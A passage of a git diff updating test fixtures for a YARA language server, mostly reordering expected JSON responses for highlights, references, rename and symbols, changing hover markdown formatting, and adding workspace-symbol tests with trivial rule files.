19, + "line": 4 }, "start": { "character": 14, - "line": 8 + "line": 4 } }, "uri": "${test_dir}/diagnostics10.yar" }, - "message": "`updated` must be a `date` with format `%d/%m/%Y`" + "message": "`version` must be a `integer`" } ], "severity": 2 diff --git a/ls/src/tests/testdata/diagnostics5.response.json b/ls/src/tests/testdata/diagnostics5.response.json index 67575db70..320573972 100644 --- a/ls/src/tests/testdata/diagnostics5.response.json +++ b/ls/src/tests/testdata/diagnostics5.response.json @@ -9,11 +9,11 @@ "range": { "end": { "character": 6, - "line": 3 + "line": 2 }, "start": { "character": 4, - "line": 3 + "line": 2 } }, "relatedInformation": [ @@ -22,16 +22,16 @@ "range": { "end": { "character": 6, - "line": 3 + "line": 2 }, "start": { "character": 4, - "line": 3 + "line": 2 } }, "uri": "${test_dir}/diagnostics5.yar" }, - "message": "duplicate declaration of `$a`" + "message": "`$a` declared here for the first time" } ], "severity": 1 @@ -45,11 +45,11 @@ "range": { "end": { "character": 6, - "line": 2 + "line": 3 }, "start": { "character": 4, - "line": 2 + "line": 3 } }, "relatedInformation": [ @@ -58,16 +58,16 @@ "range": { "end": { "character": 6, - "line": 2 + "line": 3 }, "start": { "character": 4, - "line": 2 + "line": 3 } }, "uri": "${test_dir}/diagnostics5.yar" }, - "message": "`$a` declared here for the first time" + "message": "duplicate declaration of `$a`" } ], "severity": 1 diff --git a/ls/src/tests/testdata/diagnostics6.response.json b/ls/src/tests/testdata/diagnostics6.response.json index c1ef3ef18..31eefff52 100644 --- a/ls/src/tests/testdata/diagnostics6.response.json +++ b/ls/src/tests/testdata/diagnostics6.response.json @@ -8,11 +8,11 @@ "range": { "end": { "character": 11, - "line": 1 + "line": 0 }, "start": { "character": 0, - "line": 1 + "line": 0 } }, "replacement": "" @@ -23,11 +23,11 @@ "range": { "end": { "character": 11, - "line": 1 + "line": 0 }, "start": { "character": 0, - "line": 1 + "line": 0 } }, "relatedInformation": [ @@ -36,16 +36,16 @@ "range": { "end": { "character": 11, - "line": 1 + "line": 0 }, "start": { "character": 0, - "line": 1 + "line": 0 } }, "uri": "${test_dir}/diagnostics6.yar" }, - "message": "duplicate import" + "message": "`pe` imported here for the first time" } ], "severity": 2 @@ -58,11 +58,11 @@ "range": { "end": { "character": 11, - "line": 0 + "line": 1 }, "start": { "character": 0, - "line": 0 + "line": 1 } }, "replacement": "" @@ -73,11 +73,11 @@ "range": { "end": { "character": 11, - "line": 0 + "line": 1 }, "start": { "character": 0, - "line": 0 + "line": 1 } }, "relatedInformation": [ @@ -86,16 +86,16 @@ "range": { "end": { "character": 11, - "line": 0 + "line": 1 }, "start": { "character": 0, - "line": 0 + "line": 1 } }, "uri": "${test_dir}/diagnostics6.yar" }, - "message": "`pe` imported here for the first time" + "message": "duplicate import" } ], "severity": 2 diff --git a/ls/src/tests/testdata/highlights1.response.json b/ls/src/tests/testdata/highlights1.response.json index 6a0d7f580..5ca7e18c6 100644 --- a/ls/src/tests/testdata/highlights1.response.json +++ b/ls/src/tests/testdata/highlights1.response.json @@ -1,27 +1,27 @@ [ { - "kind": 3, + "kind": 2, "range": { "end": { - "character": 1, - "line": 3 + "character": 9, + "line": 7 }, "start": { - "character": 0, - "line": 0 + "character": 4, + "line": 7 } } }, { - "kind": 2, + "kind": 3, "range": { "end": { - "character": 9, - "line": 7 + "character": 10, + "line": 0 }, "start": { - "character": 4, - "line": 7 + "character": 5, + "line": 0 } } } diff --git a/ls/src/tests/testdata/highlights2.response.json b/ls/src/tests/testdata/highlights2.response.json index 88ffbdcbb..cf0a109fb 100644 --- a/ls/src/tests/testdata/highlights2.response.json +++ b/ls/src/tests/testdata/highlights2.response.json @@ -1,14 +1,14 @@ [ { - "kind": 3, + "kind": 2, "range": { "end": { - "character": 1, - "line": 3 + "character": 19, + "line": 12 }, "start": { - "character": 0, - "line": 0 + "character": 4, + "line": 12 } } }, @@ -26,15 +26,15 @@ } }, { - "kind": 2, + "kind": 3, "range": { "end": { - "character": 19, - "line": 12 + "character": 20, + "line": 0 }, "start": { - "character": 4, - "line": 12 + "character": 5, + "line": 0 } } } diff --git a/ls/src/tests/testdata/highlights3.response.json b/ls/src/tests/testdata/highlights3.response.json index 3679a3507..846ecc4f3 100644 --- a/ls/src/tests/testdata/highlights3.response.json +++ b/ls/src/tests/testdata/highlights3.response.json @@ -1,27 +1,27 @@ [ { - "kind": 3, + "kind": 2, "range": { "end": { - "character": 20, - "line": 2 + "character": 12, + "line": 4 }, "start": { "character": 4, - "line": 2 + "line": 4 } } }, { - "kind": 2, + "kind": 3, "range": { "end": { - "character": 12, - "line": 4 + "character": 20, + "line": 2 }, "start": { "character": 4, - "line": 4 + "line": 2 } } } diff --git a/ls/src/tests/testdata/highlights4.response.json b/ls/src/tests/testdata/highlights4.response.json index 8cb339551..a9e071562 100644 --- a/ls/src/tests/testdata/highlights4.response.json +++ b/ls/src/tests/testdata/highlights4.response.json @@ -1,14 +1,14 @@ [ { - "kind": 3, + "kind": 2, "range": { "end": { - "character": 20, - "line": 2 + "character": 12, + "line": 4 }, "start": { "character": 4, - "line": 2 + "line": 4 } } }, @@ -16,11 +16,11 @@ "kind": 2, "range": { "end": { - "character": 51, + "character": 25, "line": 4 }, "start": { - "character": 43, + "character": 17, "line": 4 } } @@ -42,25 +42,25 @@ "kind": 2, "range": { "end": { - "character": 25, + "character": 51, "line": 4 }, "start": { - "character": 17, + "character": 43, "line": 4 } } }, { - "kind": 2, + "kind": 3, "range": { "end": { - "character": 12, - "line": 4 + "character": 20, + "line": 2 }, "start": { "character": 4, - "line": 4 + "line": 2 } } } diff --git a/ls/src/tests/testdata/highlights5.response.json b/ls/src/tests/testdata/highlights5.response.json index db1843105..b218733e8 100644 --- a/ls/src/tests/testdata/highlights5.response.json +++ b/ls/src/tests/testdata/highlights5.response.json @@ -1,27 +1,27 @@ [ { - "kind": 3, + "kind": 2, "range": { "end": { - "character": 20, - "line": 9 + "character": 12, + "line": 11 }, "start": { "character": 4, - "line": 9 + "line": 11 } } }, { - "kind": 2, + "kind": 3, "range": { "end": { - "character": 12, - "line": 11 + "character": 20, + "line": 9 }, "start": { "character": 4, - "line": 11 + "line": 9 } } } diff --git a/ls/src/tests/testdata/highlights6.response.json b/ls/src/tests/testdata/highlights6.response.json index 4d49d7fbf..85c404f9b 100644 --- a/ls/src/tests/testdata/highlights6.response.json +++ b/ls/src/tests/testdata/highlights6.response.json @@ -1,13 +1,13 @@ [ { - "kind": 3, + "kind": 2, "range": { "end": { - "character": 7, + "character": 34, "line": 4 }, "start": { - "character": 6, + "character": 33, "line": 4 } } @@ -26,14 +26,14 @@ } }, { - "kind": 2, + "kind": 3, "range": { "end": { - "character": 34, + "character": 7, "line": 4 }, "start": { - "character": 33, + "character": 6, "line": 4 } } diff --git a/ls/src/tests/testdata/highlights7.response.json b/ls/src/tests/testdata/highlights7.response.json index a42ce0c46..f0d44a6e5 100644 --- a/ls/src/tests/testdata/highlights7.response.json +++ b/ls/src/tests/testdata/highlights7.response.json @@ -1,27 +1,27 @@ [ { - "kind": 3, + "kind": 2, "range": { "end": { - "character": 16, - "line": 4 + "character": 21, + "line": 5 }, "start": { - "character": 15, - "line": 4 + "character": 20, + "line": 5 } } }, { - "kind": 2, + "kind": 3, "range": { "end": { - "character": 21, - "line": 5 + "character": 16, + "line": 4 }, "start": { - "character": 20, - "line": 5 + "character": 15, + "line": 4 } } } diff --git a/ls/src/tests/testdata/highlights8.response.json b/ls/src/tests/testdata/highlights8.response.json index bae80d529..e49eeb367 100644 --- a/ls/src/tests/testdata/highlights8.response.json +++ b/ls/src/tests/testdata/highlights8.response.json @@ -1,26 +1,26 @@ [ { - "kind": 3, + "kind": 2, "range": { "end": { - "character": 11, + "character": 24, "line": 9 }, "start": { - "character": 6, + "character": 19, "line": 9 } } }, { - "kind": 2, + "kind": 3, "range": { "end": { - "character": 24, + "character": 11, "line": 9 }, "start": { - "character": 19, + "character": 6, "line": 9 } } diff --git a/ls/src/tests/testdata/highlights9.response.json b/ls/src/tests/testdata/highlights9.response.json index 31fbc432e..57e20246e 100644 --- a/ls/src/tests/testdata/highlights9.response.json +++ b/ls/src/tests/testdata/highlights9.response.json @@ -1,27 +1,27 @@ [ { - "kind": 3, + "kind": 2, "range": { "end": { - "character": 1, - "line": 4 + "character": 9, + "line": 8 }, "start": { - "character": 0, - "line": 1 + "character": 4, + "line": 8 } } }, { - "kind": 2, + "kind": 3, "range": { "end": { - "character": 9, - "line": 8 + "character": 10, + "line": 1 }, "start": { - "character": 4, - "line": 8 + "character": 5, + "line": 1 } } } diff --git a/ls/src/tests/testdata/hover1.response.json b/ls/src/tests/testdata/hover1.response.json index 291037e5a..9beb6fd74 100644 --- a/ls/src/tests/testdata/hover1.response.json +++ b/ls/src/tests/testdata/hover1.response.json @@ -1,6 +1,6 @@ { "contents": { "kind": "markdown", - "value": "Pattern value is:\n\n`$a = \"foo\"`" + "value": "Pattern value is:\n\n```\n$a = \"foo\"\n```\n" } } \ No newline at end of file diff --git a/ls/src/tests/testdata/hover10.response.json b/ls/src/tests/testdata/hover10.response.json index ec4095878..6b9b60fc5 100644 --- a/ls/src/tests/testdata/hover10.response.json +++ b/ls/src/tests/testdata/hover10.response.json @@ -1,6 +1,6 @@ { "contents": { "kind": "markdown", - "value": "### rule `patterns`\n```\nauthor = \"unknown\"\ndescription = \"some description\"\n\n```\n" + "value": "## rule `patterns`\n```\nauthor = \"unknown\"\ndescription = \"some description\"\n```\n" } } \ No newline at end of file diff --git a/ls/src/tests/testdata/hover13.config.json b/ls/src/tests/testdata/hover13.config.json new file mode 100644 index 000000000..0b42a3cc4 --- /dev/null +++ b/ls/src/tests/testdata/hover13.config.json @@ -0,0 +1,6 @@ +{ + "documentation": { + "showRuleStringsBlock": true, + "showRuleConditionBlock": true + } +} diff --git a/ls/src/tests/testdata/hover13.request.json b/ls/src/tests/testdata/hover13.request.json new file mode 100644 index 000000000..48c3d12e3 --- /dev/null +++ b/ls/src/tests/testdata/hover13.request.json @@ -0,0 +1,9 @@ +{ + "textDocument": { + "uri": "${test_dir}/hover13.yar" + }, + "position": { + "line": 13, + "character": 6 + } +} diff --git a/ls/src/tests/testdata/hover13.response.json b/ls/src/tests/testdata/hover13.response.json new file mode 100644 index 000000000..09b87e9c1 --- /dev/null +++ b/ls/src/tests/testdata/hover13.response.json @@ -0,0 +1,6 @@ +{ + "contents": { + "kind": "markdown", + "value": "## rule `hover_config_rule`\n```\nauthor = \"author\"\n```\n### strings:\n\n```\n$a = \"foo\"\n```\n### condition:\n\n```\nfor any i in (1..2) : (\n $a and i == 1\n)\n```\n" + } +} \ No newline at end of file diff --git a/ls/src/tests/testdata/hover13.yar b/ls/src/tests/testdata/hover13.yar new file mode 100644 index 000000000..a88d5ad93 --- /dev/null +++ b/ls/src/tests/testdata/hover13.yar @@ -0,0 +1,15 @@ +rule hover_config_rule { + meta: + author = "author" + strings: + $a = "foo" + condition: + for any i in (1..2) : ( + $a and i == 1 + ) +} + +rule caller { + condition: + hover_config_rule +} diff --git a/ls/src/tests/testdata/hover2.response.json b/ls/src/tests/testdata/hover2.response.json index 873989209..ba4b23731 100644 --- a/ls/src/tests/testdata/hover2.response.json +++ b/ls/src/tests/testdata/hover2.response.json @@ -1,6 +1,6 @@ { "contents": { "kind": "markdown", - "value": "### rule `one_line`\n" + "value": "## rule `one_line`\n" } } \ No newline at end of file diff --git a/ls/src/tests/testdata/hover3.response.json b/ls/src/tests/testdata/hover3.response.json index 624cef4b3..f6a1f917d 100644 --- a/ls/src/tests/testdata/hover3.response.json +++ b/ls/src/tests/testdata/hover3.response.json @@ -1,6 +1,6 @@ { "contents": { "kind": "markdown", - "value": "Pattern value is:\n\n`$a = { 11 22\n 33 44 }`" + "value": "Pattern value is:\n\n```\n$a = { 11 22\n 33 44 }\n```\n" } } \ No newline at end of file diff --git a/ls/src/tests/testdata/hover4.response.json b/ls/src/tests/testdata/hover4.response.json index 37a24a673..36130768c 100644 --- a/ls/src/tests/testdata/hover4.response.json +++ b/ls/src/tests/testdata/hover4.response.json @@ -1,6 +1,6 @@ { "contents": { "kind": "markdown", - "value": "### rule `multiline_condition`\n" + "value": "## rule `multiline_condition`\n" } } \ No newline at end of file diff --git a/ls/src/tests/testdata/hover5.response.json b/ls/src/tests/testdata/hover5.response.json index f39a8e423..202fb9ed8 100644 --- a/ls/src/tests/testdata/hover5.response.json +++ b/ls/src/tests/testdata/hover5.response.json @@ -1,6 +1,6 @@ { "contents": { "kind": "markdown", - "value": "Pattern value is:\n\n`$a = \"foo\" wide ascii nocase`" + "value": "Pattern value is:\n\n```\n$a = \"foo\" wide ascii nocase\n```\n" } } \ No newline at end of file diff --git a/ls/src/tests/testdata/hover6.response.json b/ls/src/tests/testdata/hover6.response.json index ec4095878..6b9b60fc5 100644 --- a/ls/src/tests/testdata/hover6.response.json +++ b/ls/src/tests/testdata/hover6.response.json @@ -1,6 +1,6 @@ { "contents": { "kind": "markdown", - "value": "### rule `patterns`\n```\nauthor = \"unknown\"\ndescription = \"some description\"\n\n```\n" + "value": "## rule `patterns`\n```\nauthor = \"unknown\"\ndescription = \"some description\"\n```\n" } } \ No newline at end of file diff --git a/ls/src/tests/testdata/inlay_hint.response.json b/ls/src/tests/testdata/inlay_hint.response.json index a5cd5f743..c48816cf1 100644 --- a/ls/src/tests/testdata/inlay_hint.response.json +++ b/ls/src/tests/testdata/inlay_hint.response.json @@ -1,50 +1,50 @@ [ { "kind": 1, - "label": ": string", + "label": ": integer", "position": { - "character": 13, - "line": 6 + "character": 4, + "line": 12 } }, { "kind": 1, - "label": ": string", + "label": ": integer", "position": { - "character": 20, - "line": 6 + "character": 4, + "line": 13 } }, { "kind": 1, - "label": ": struct", + "label": ": integer", "position": { - "character": 15, - "line": 9 + "character": 4, + "line": 14 } }, { "kind": 1, - "label": ": integer", + "label": ": string", "position": { - "character": 4, - "line": 12 + "character": 13, + "line": 6 } }, { "kind": 1, - "label": ": integer", + "label": ": string", "position": { - "character": 4, - "line": 13 + "character": 20, + "line": 6 } }, { "kind": 1, - "label": ": integer", + "label": ": struct", "position": { - "character": 4, - "line": 14 + "character": 15, + "line": 9 } } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/references1.response.json b/ls/src/tests/testdata/references1.response.json index f8712717a..65a8af8b1 100644 --- a/ls/src/tests/testdata/references1.response.json +++ b/ls/src/tests/testdata/references1.response.json @@ -2,12 +2,12 @@ { "range": { "end": { - "character": 37, - "line": 2 + "character": 12, + "line": 4 }, "start": { "character": 4, - "line": 2 + "line": 4 } }, "uri": "${test_dir}/references1.yar" @@ -15,12 +15,12 @@ { "range": { "end": { - "character": 12, - "line": 4 + "character": 37, + "line": 2 }, "start": { "character": 4, - "line": 4 + "line": 2 } }, "uri": "${test_dir}/references1.yar" diff --git a/ls/src/tests/testdata/references2.response.json b/ls/src/tests/testdata/references2.response.json index ed913fe4b..72a861cf9 100644 --- a/ls/src/tests/testdata/references2.response.json +++ b/ls/src/tests/testdata/references2.response.json @@ -2,12 +2,12 @@ { "range": { "end": { - "character": 40, - "line": 2 + "character": 12, + "line": 4 }, "start": { "character": 4, - "line": 2 + "line": 4 } }, "uri": "${test_dir}/references2.yar" @@ -15,11 +15,11 @@ { "range": { "end": { - "character": 49, + "character": 25, "line": 4 }, "start": { - "character": 41, + "character": 17, "line": 4 } }, @@ -28,12 +28,12 @@ { "range": { "end": { - "character": 25, - "line": 4 + "character": 40, + "line": 2 }, "start": { - "character": 17, - "line": 4 + "character": 4, + "line": 2 } }, "uri": "${test_dir}/references2.yar" @@ -41,11 +41,11 @@ { "range": { "end": { - "character": 12, + "character": 49, "line": 4 }, "start": { - "character": 4, + "character": 41, "line": 4 } }, diff --git a/ls/src/tests/testdata/references4.response.json b/ls/src/tests/testdata/references4.response.json index b7a743b8c..96d862f9b 100644 --- a/ls/src/tests/testdata/references4.response.json +++ b/ls/src/tests/testdata/references4.response.json @@ -16,11 +16,11 @@ "range": { "end": { "character": 19, - "line": 7 + "line": 12 }, "start": { "character": 4, - "line": 7 + "line": 12 } }, "uri": "${test_dir}/references4.yar" @@ -29,11 +29,11 @@ "range": { "end": { "character": 19, - "line": 12 + "line": 7 }, "start": { "character": 4, - "line": 12 + "line": 7 } }, "uri": "${test_dir}/references4.yar" diff --git a/ls/src/tests/testdata/rename2.response.json b/ls/src/tests/testdata/rename2.response.json index a36091e05..1e1e25389 100644 --- a/ls/src/tests/testdata/rename2.response.json +++ b/ls/src/tests/testdata/rename2.response.json @@ -18,11 +18,11 @@ "newText": "newpattern", "range": { "end": { - "character": 51, + "character": 12, "line": 4 }, "start": { - "character": 44, + "character": 5, "line": 4 } } @@ -31,11 +31,11 @@ "newText": "newpattern", "range": { "end": { - "character": 38, + "character": 25, "line": 4 }, "start": { - "character": 31, + "character": 18, "line": 4 } } @@ -44,11 +44,11 @@ "newText": "newpattern", "range": { "end": { - "character": 25, + "character": 38, "line": 4 }, "start": { - "character": 18, + "character": 31, "line": 4 } } @@ -57,11 +57,11 @@ "newText": "newpattern", "range": { "end": { - "character": 12, + "character": 51, "line": 4 }, "start": { - "character": 5, + "character": 44, "line": 4 } } diff --git a/ls/src/tests/testdata/rename4.response.json b/ls/src/tests/testdata/rename4.response.json index e554a5b65..aef057c95 100644 --- a/ls/src/tests/testdata/rename4.response.json +++ b/ls/src/tests/testdata/rename4.response.json @@ -6,11 +6,11 @@ "range": { "end": { "character": 19, - "line": 9 + "line": 14 }, "start": { "character": 4, - "line": 9 + "line": 14 } } }, @@ -19,11 +19,11 @@ "range": { "end": { "character": 19, - "line": 14 + "line": 19 }, "start": { "character": 4, - "line": 14 + "line": 19 } } }, @@ -32,11 +32,11 @@ "range": { "end": { "character": 19, - "line": 19 + "line": 9 }, "start": { "character": 4, - "line": 19 + "line": 9 } } }, diff --git a/ls/src/tests/testdata/rename6.response.json b/ls/src/tests/testdata/rename6.response.json index e4d5a179d..0aea3de32 100644 --- a/ls/src/tests/testdata/rename6.response.json +++ b/ls/src/tests/testdata/rename6.response.json @@ -5,11 +5,11 @@ "newText": "c", "range": { "end": { - "character": 7, + "character": 34, "line": 4 }, "start": { - "character": 6, + "character": 33, "line": 4 } } @@ -31,11 +31,11 @@ "newText": "c", "range": { "end": { - "character": 34, + "character": 7, "line": 4 }, "start": { - "character": 33, + "character": 6, "line": 4 } } diff --git a/ls/src/tests/testdata/rename9.response.json b/ls/src/tests/testdata/rename9.response.json index 93e93e484..5ed741849 100644 --- a/ls/src/tests/testdata/rename9.response.json +++ b/ls/src/tests/testdata/rename9.response.json @@ -5,12 +5,12 @@ "newText": "new_ident", "range": { "end": { - "character": 9, - "line": 8 + "character": 10, + "line": 1 }, "start": { - "character": 4, - "line": 8 + "character": 5, + "line": 1 } } }, @@ -18,12 +18,12 @@ "newText": "new_ident", "range": { "end": { - "character": 10, - "line": 1 + "character": 9, + "line": 8 }, "start": { - "character": 5, - "line": 1 + "character": 4, + "line": 8 } } } diff --git a/ls/src/tests/testdata/symbols4.response.json b/ls/src/tests/testdata/symbols4.response.json index af4eca0dc..9fcf925ee 100644 --- a/ls/src/tests/testdata/symbols4.response.json +++ b/ls/src/tests/testdata/symbols4.response.json @@ -1,26 +1,52 @@ [ { - "detail": "include", - "kind": 1, - "name": "foo", + "children": [ + { + "kind": 17, + "name": "condition", + "range": { + "end": { + "character": 8, + "line": 6 + }, + "start": { + "character": 4, + "line": 6 + } + }, + "selectionRange": { + "end": { + "character": 8, + "line": 6 + }, + "start": { + "character": 4, + "line": 6 + } + } + } + ], + "detail": "rule", + "kind": 12, + "name": "test", "range": { "end": { - "character": 13, - "line": 0 + "character": 9, + "line": 4 }, "start": { - "character": 0, - "line": 0 + "character": 5, + "line": 4 } }, "selectionRange": { "end": { - "character": 13, - "line": 0 + "character": 9, + "line": 4 }, "start": { - "character": 0, - "line": 0 + "character": 5, + "line": 4 } } }, @@ -50,53 +76,27 @@ } }, { - "children": [ - { - "kind": 17, - "name": "condition", - "range": { - "end": { - "character": 8, - "line": 6 - }, - "start": { - "character": 4, - "line": 6 - } - }, - "selectionRange": { - "end": { - "character": 8, - "line": 6 - }, - "start": { - "character": 4, - "line": 6 - } - } - } - ], - "detail": "rule", - "kind": 12, - "name": "test", + "detail": "include", + "kind": 1, + "name": "foo", "range": { "end": { - "character": 9, - "line": 4 + "character": 13, + "line": 0 }, "start": { - "character": 5, - "line": 4 + "character": 0, + "line": 0 } }, "selectionRange": { "end": { - "character": 9, - "line": 4 + "character": 13, + "line": 0 }, "start": { - "character": 5, - "line": 4 + "character": 0, + "line": 0 } } } diff --git a/ls/src/tests/testdata/symbols6.response.json b/ls/src/tests/testdata/symbols6.response.json index a028e3002..d1ed74f16 100644 --- a/ls/src/tests/testdata/symbols6.response.json +++ b/ls/src/tests/testdata/symbols6.response.json @@ -27,49 +27,49 @@ }, { "kind": 15, - "name": "$pattern_two", + "name": "$pattern_three", "range": { "end": { - "character": 28, - "line": 3 + "character": 30, + "line": 4 }, "start": { "character": 4, - "line": 3 + "line": 4 } }, "selectionRange": { "end": { - "character": 28, - "line": 3 + "character": 30, + "line": 4 }, "start": { "character": 4, - "line": 3 + "line": 4 } } }, { "kind": 15, - "name": "$pattern_three", + "name": "$pattern_two", "range": { "end": { - "character": 30, - "line": 4 + "character": 28, + "line": 3 }, "start": { "character": 4, - "line": 4 + "line": 3 } }, "selectionRange": { "end": { - "character": 30, - "line": 4 + "character": 28, + "line": 3 }, "start": { "character": 4, - "line": 4 + "line": 3 } } }, diff --git a/ls/src/tests/testdata/symbols7.response.json b/ls/src/tests/testdata/symbols7.response.json index fb1744952..f7e9afc75 100644 --- a/ls/src/tests/testdata/symbols7.response.json +++ b/ls/src/tests/testdata/symbols7.response.json @@ -1,54 +1,4 @@ [ - { - "detail": "include", - "kind": 1, - "name": "foo", - "range": { - "end": { - "character": 13, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - }, - "selectionRange": { - "end": { - "character": 13, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - }, - { - "detail": "import", - "kind": 2, - "name": "bar", - "range": { - "end": { - "character": 12, - "line": 2 - }, - "start": { - "character": 0, - "line": 2 - } - }, - "selectionRange": { - "end": { - "character": 12, - "line": 2 - }, - "start": { - "character": 0, - "line": 2 - } - } - }, { "children": [ { @@ -227,49 +177,49 @@ }, { "kind": 15, - "name": "$pattern_two", + "name": "$pattern_three", "range": { "end": { - "character": 28, - "line": 22 + "character": 30, + "line": 23 }, "start": { "character": 4, - "line": 22 + "line": 23 } }, "selectionRange": { "end": { - "character": 28, - "line": 22 + "character": 30, + "line": 23 }, "start": { "character": 4, - "line": 22 + "line": 23 } } }, { "kind": 15, - "name": "$pattern_three", + "name": "$pattern_two", "range": { "end": { - "character": 30, - "line": 23 + "character": 28, + "line": 22 }, "start": { "character": 4, - "line": 23 + "line": 22 } }, "selectionRange": { "end": { - "character": 30, - "line": 23 + "character": 28, + "line": 22 }, "start": { "character": 4, - "line": 23 + "line": 22 } } }, @@ -321,5 +271,55 @@ "line": 19 } } + }, + { + "detail": "import", + "kind": 2, + "name": "bar", + "range": { + "end": { + "character": 12, + "line": 2 + }, + "start": { + "character": 0, + "line": 2 + } + }, + "selectionRange": { + "end": { + "character": 12, + "line": 2 + }, + "start": { + "character": 0, + "line": 2 + } + } + }, + { + "detail": "include", + "kind": 1, + "name": "foo", + "range": { + "end": { + "character": 13, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + }, + "selectionRange": { + "end": { + "character": 13, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/symbols8.response.json b/ls/src/tests/testdata/symbols8.response.json index d621ad7f5..6289cc59a 100644 --- a/ls/src/tests/testdata/symbols8.response.json +++ b/ls/src/tests/testdata/symbols8.response.json @@ -27,49 +27,49 @@ }, { "kind": 14, - "name": "version", + "name": "description", "range": { "end": { - "character": 15, - "line": 3 + "character": 43, + "line": 4 }, "start": { "character": 4, - "line": 3 + "line": 4 } }, "selectionRange": { "end": { - "character": 15, - "line": 3 + "character": 43, + "line": 4 }, "start": { "character": 4, - "line": 3 + "line": 4 } } }, { "kind": 14, - "name": "description", + "name": "version", "range": { "end": { - "character": 43, - "line": 4 + "character": 15, + "line": 3 }, "start": { "character": 4, - "line": 4 + "line": 3 } }, "selectionRange": { "end": { - "character": 43, - "line": 4 + "character": 15, + "line": 3 }, "start": { "character": 4, - "line": 4 + "line": 3 } } }, diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols1.request.json b/ls/src/tests/testdata/workspace_symbols/workspace_symbols1.request.json new file mode 100644 index 000000000..60794e8ce --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols1.request.json @@ -0,0 +1,3 @@ +{ + "query": "" +} diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols1.response.json b/ls/src/tests/testdata/workspace_symbols/workspace_symbols1.response.json new file mode 100644 index 000000000..a0804f366 --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols1.response.json @@ -0,0 +1,37 @@ +[ + { + "kind": 12, + "location": { + "uri": "${test_dir}/workspace_symbols1.yar" + }, + "name": "some_rule" + }, + { + "kind": 12, + "location": { + "uri": "${test_dir}/workspace_symbols2.yar" + }, + "name": "abxx_some_rule" + }, + { + "kind": 12, + "location": { + "uri": "${test_dir}/workspace_symbols3.yar" + }, + "name": "xx_some_rule" + }, + { + "kind": 12, + "location": { + "uri": "${test_dir}/workspace_symbols_resolve1.yar" + }, + "name": "some_rule_for_resolve_1" + }, + { + "kind": 12, + "location": { + "uri": "${test_dir}/workspace_symbols_resolve1.yar" + }, + "name": "some_rule_for_resolve_2" + } +] \ No newline at end of file diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols1.yar b/ls/src/tests/testdata/workspace_symbols/workspace_symbols1.yar new file mode 100644 index 000000000..0bb888df9 --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols1.yar @@ -0,0 +1,4 @@ +private rule some_rule { + condition: + true +} \ No newline at end of file diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols2.request.json b/ls/src/tests/testdata/workspace_symbols/workspace_symbols2.request.json new file mode 100644 index 000000000..61f632753 --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols2.request.json @@ -0,0 +1,3 @@ +{ + "query": "abx" +} diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols2.response.json b/ls/src/tests/testdata/workspace_symbols/workspace_symbols2.response.json new file mode 100644 index 000000000..3f017a792 --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols2.response.json @@ -0,0 +1,9 @@ +[ + { + "kind": 12, + "location": { + "uri": "${test_dir}/workspace_symbols2.yar" + }, + "name": "abxx_some_rule" + } +] \ No newline at end of file diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols2.yar b/ls/src/tests/testdata/workspace_symbols/workspace_symbols2.yar new file mode 100644 index 000000000..8a71301d6 --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols2.yar @@ -0,0 +1,4 @@ +private rule abxx_some_rule { + condition: + true +} \ No newline at end of file diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols3.request.json b/ls/src/tests/testdata/workspace_symbols/workspace_symbols3.request.json new file mode 100644 index 000000000..2221281f9 --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols3.request.json @@ -0,0 +1,3 @@ +{ + "query": "xxs" +} diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols3.response.json b/ls/src/tests/testdata/workspace_symbols/workspace_symbols3.response.json new file mode 100644 index 000000000..c761633ee --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols3.response.json @@ -0,0 +1,16 @@ +[ + { + "kind": 12, + "location": { + "uri": "${test_dir}/workspace_symbols2.yar" + }, + "name": "abxx_some_rule" + }, + { + "kind": 12, + "location": { + "uri": "${test_dir}/workspace_symbols3.yar" + }, + "name": "xx_some_rule" + } +] \ No newline at end of file diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols3.yar b/ls/src/tests/testdata/workspace_symbols/workspace_symbols3.yar new file mode 100644 index 000000000..b5b830c43 --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols3.yar @@ -0,0 +1,4 @@ +rule xx_some_rule { + condition: + true +} \ No newline at end of file diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols_resolve1.request.json b/ls/src/tests/testdata/workspace_symbols/workspace_symbols_resolve1.request.json new file mode 100644 index 000000000..d8dfed021 --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols_resolve1.request.json @@ -0,0 +1,7 @@ +{ + "kind": 12, + "location": { + "uri": "${test_dir}/workspace_symbols_resolve1.yar" + }, + "name": "some_rule_for_resolve_2" +} diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols_resolve1.response.json b/ls/src/tests/testdata/workspace_symbols/workspace_symbols_resolve1.response.json new file mode 100644 index 000000000..5f4d5d723 --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols_resolve1.response.json @@ -0,0 +1,17 @@ +{ + "kind": 12, + "location": { + "range": { + "end": { + "character": 1, + "line": 8 + }, + "start": { + "character": 0, + "line": 5 + } + }, + "uri": "${test_dir}/workspace_symbols_resolve1.yar" + }, + "name": "some_rule_for_resolve_2" +} \ No newline at end of file diff --git a/ls/src/tests/testdata/workspace_symbols/workspace_symbols_resolve1.yar b/ls/src/tests/testdata/workspace_symbols/workspace_symbols_resolve1.yar new file mode 100644 